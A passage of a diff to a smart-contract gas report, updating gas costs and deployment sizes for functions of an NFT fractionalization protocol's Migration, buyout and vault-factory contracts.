├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ burn ┆ 2349 ┆ 4218 ┆ 4255 ┆ 4255 ┆ 52 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ create ┆ 224136 ┆ 231964 ┆ 224136 ┆ 278986 ┆ 109 │ +│ create ┆ 224180 ┆ 232008 ┆ 224180 ┆ 279030 ┆ 109 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ createCollection ┆ 348452 ┆ 348452 ┆ 348452 ┆ 348452 ┆ 1 │ +│ createCollection ┆ 348496 ┆ 348496 ┆ 348496 ┆ 348496 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ createCollectionFor ┆ 319560 ┆ 322602 ┆ 319560 ┆ 348460 ┆ 19 │ +│ createCollectionFor ┆ 319604 ┆ 322646 ┆ 319604 ┆ 348504 ┆ 19 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ createFor ┆ 281988 ┆ 291822 ┆ 292088 ┆ 292088 ┆ 38 │ +│ createFor ┆ 282032 ┆ 291866 ┆ 292132 ┆ 292132 ┆ 38 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ createInCollection ┆ 10406 ┆ 139483 ┆ 139483 ┆ 268560 ┆ 2 │ +│ createInCollection ┆ 10406 ┆ 139505 ┆ 139505 ┆ 268604 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ fNFT ┆ 228 ┆ 228 ┆ 228 ┆ 228 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -323,7 +325,7 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ╞════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 2779003 ┆ 13880 ┆ ┆ ┆ ┆ │ +│ 2784810 ┆ 13909 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -331,23 +333,23 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ REJECTION_PERIOD ┆ 328 ┆ 328 ┆ 328 ┆ 328 ┆ 89 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ batchWithdrawERC1155 ┆ 4801 ┆ 31066 ┆ 6768 ┆ 72961 ┆ 9 │ +│ batchWithdrawERC1155 ┆ 4801 ┆ 31115 ┆ 6768 ┆ 73053 ┆ 9 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ buyFractions ┆ 3952 ┆ 10023 ┆ 11282 ┆ 15989 ┆ 14 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ buyoutInfo ┆ 1335 ┆ 3610 ┆ 1335 ┆ 11335 ┆ 378 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ cash ┆ 4264 ┆ 18366 ┆ 22485 ┆ 22485 ┆ 17 │ +│ cash ┆ 4264 ┆ 17806 ┆ 21752 ┆ 21752 ┆ 17 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ end ┆ 4271 ┆ 22405 ┆ 17431 ┆ 35740 ┆ 52 │ +│ end ┆ 4271 ┆ 21939 ┆ 16697 ┆ 35740 ┆ 52 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ getLeafNodes ┆ 5551 ┆ 5904 ┆ 5551 ┆ 9551 ┆ 1042 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ multicall ┆ 5732 ┆ 24289 ┆ 19409 ┆ 74548 ┆ 16 │ +│ multicall ┆ 5732 ┆ 23959 ┆ 18710 ┆ 74640 ┆ 16 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ onERC1155Received ┆ 906 ┆ 906 ┆ 906 ┆ 906 ┆ 90 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ redeem ┆ 4184 ┆ 30614 ┆ 41299 ┆ 41299 ┆ 8 │ +│ redeem ┆ 4184 ┆ 30041 ┆ 40565 ┆ 40565 ┆ 8 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ selfPermitAll ┆ 48901 ┆ 48901 ┆ 48901 ┆ 48901 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -355,22 +357,26 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ start ┆ 401 ┆ 110444 ┆ 112450 ┆ 124682 ┆ 73 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ withdrawERC1155 ┆ 4326 ┆ 15176 ┆ 6293 ┆ 33370 ┆ 8 │ +│ supply ┆ 372 ┆ 372 ┆ 372 ┆ 372 ┆ 89 │ +├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ +│ transfer ┆ 437 ┆ 437 ┆ 437 ┆ 437 ┆ 89 │ +├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ +│ withdrawERC1155 ┆ 4326 ┆ 14989 ┆ 6293 ┆ 32872 ┆ 8 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ withdrawERC20 ┆ 4303 ┆ 16070 ┆ 6270 ┆ 30622 ┆ 9 │ +│ withdrawERC20 ┆ 4303 ┆ 15737 ┆ 6270 ┆ 29872 ┆ 9 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ withdrawERC721 ┆ 4369 ┆ 12046 ┆ 6336 ┆ 31545 ┆ 13 │ +│ withdrawERC721 ┆ 4369 ┆ 11704 ┆ 6336 ┆ 30804 ┆ 13 │ ╰────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯ ╭──────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/modules/Migration.sol:Migration contract ┆ ┆ ┆ ┆ ┆ │ ╞══════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 3202385 ┆ 15886 ┆ ┆ ┆ ┆ │ +│ 3206993 ┆ 15909 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ batchMigrateVaultERC1155 ┆ 7758 ┆ 33519 ┆ 33973 ┆ 58374 ┆ 4 │ +│ batchMigrateVaultERC1155 ┆ 7758 ┆ 33583 ┆ 34037 ┆ 58502 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ commit ┆ 4258 ┆ 175070 ┆ 187216 ┆ 187216 ┆ 30 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -384,23 +390,23 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ migrateFractions ┆ 4079 ┆ 15069 ┆ 5786 ┆ 39271 ┆ 6 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ migrateVaultERC1155 ┆ 6408 ┆ 17184 ┆ 10222 ┆ 34923 ┆ 3 │ +│ migrateVaultERC1155 ┆ 6408 ┆ 17018 ┆ 10222 ┆ 34425 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ migrateVaultERC20 ┆ 6404 ┆ 19749 ┆ 20203 ┆ 32188 ┆ 4 │ +│ migrateVaultERC20 ┆ 6404 ┆ 19375 ┆ 19828 ┆ 31439 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ migrateVaultERC721 ┆ 6449 ┆ 16602 ┆ 10263 ┆ 33095 ┆ 6 │ +│ migrateVaultERC721 ┆ 6449 ┆ 16355 ┆ 10263 ┆ 32353 ┆ 6 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ migrationInfo ┆ 1741 ┆ 2741 ┆ 2741 ┆ 3741 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ multicall ┆ 8028 ┆ 47590 ┆ 11839 ┆ 122903 ┆ 3 │ +│ multicall ┆ 8028 ┆ 47135 ┆ 11839 ┆ 121540 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ onERC1155Received ┆ 906 ┆ 906 ┆ 906 ┆ 906 ┆ 75 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ propose ┆ 8664 ┆ 301806 ┆ 315195 ┆ 317516 ┆ 36 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ settleFractions ┆ 2861 ┆ 72198 ┆ 86017 ┆ 86017 ┆ 18 │ +│ settleFractions ┆ 2861 ┆ 72293 ┆ 86131 ┆ 86131 ┆ 18 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ settleVault ┆ 2864 ┆ 197792 ┆ 307422 ┆ 307422 ┆ 25 │ +│ settleVault ┆ 2864 ┆ 197821 ┆ 307466 ┆ 307466 ┆ 25 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ withdrawContribution ┆ 3947 ┆ 7867 ┆ 5842 ┆ 13812 ┆ 3 │ ╰──────────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯ @@ -409,7 +415,7 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ╞═════════════════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 1370801 ┆ 6894 ┆ ┆ ┆ ┆ │ +│ 1373608 ┆ 6908 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -417,9 +423,9 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ batchDepositERC20 ┆ 28020 ┆ 28020 ┆ 28020 ┆ 28020 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ batchDepositERC721 ┆ 25132 ┆ 25132 ┆ 25132 ┆ 25132 ┆ 1 │ +│ batchDepositERC721 ┆ 25178 ┆ 25178 ┆ 25178 ┆ 25178 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ deployVault ┆ 320402 ┆ 321613 ┆ 320402 ┆ 376137 ┆ 92 │ +│ deployVault ┆ 320569 ┆ 321780 ┆ 320569 ┆ 376304 ┆ 92 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ generateMerkleTree ┆ 12097 ┆ 12097 ┆ 12097 ┆ 12097 ┆ 153 │ 